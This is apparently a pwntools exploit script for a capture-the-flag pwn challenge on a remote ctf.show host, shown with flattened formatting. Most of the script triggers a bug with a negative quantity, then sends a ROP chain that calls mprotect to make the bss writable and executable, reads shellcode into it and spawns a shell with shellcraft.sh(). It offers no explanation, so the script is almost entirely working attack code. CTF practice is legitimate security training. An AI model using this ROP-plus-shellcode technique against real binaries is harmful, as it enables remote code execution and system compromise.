1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import * def bug(): gdb.attach(p) pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def ia(): p.interactive()
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] file = "./pwn" libc = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(file) libc = ELF(libc) p = remote("pwn.challenge.ctf.show",)
sla("> ",'1') sl('1') sl('-100000')
sla("> ", '4')
sla("> ", '5')
pop_rdi_ret = 0x000000000040264f pop_rsi_ret = 0x000000000040a67e pop_rdx_rbx_ret = 0x00000000004a404b name = 0x4E60F0
read = elf.sym['read']
bss = 0x4E9000 mprotect = elf.sym['mprotect'] payload = cyclic(0x28) payload += flat(pop_rdi_ret , bss , pop_rsi_ret , 0x1000, pop_rdx_rbx_ret , 7, 0 , mprotect) payload += flat(pop_rdi_ret , 0 , pop_rsi_ret , bss+0x500 , pop_rdx_rbx_ret , 0x30 , 0 , read) payload += p64(bss+0x500)
sla("烧烤摊儿已归你所有,请赐名:",payload) sleep(0.2) sl(asm(shellcraft.sh()))
ia()
|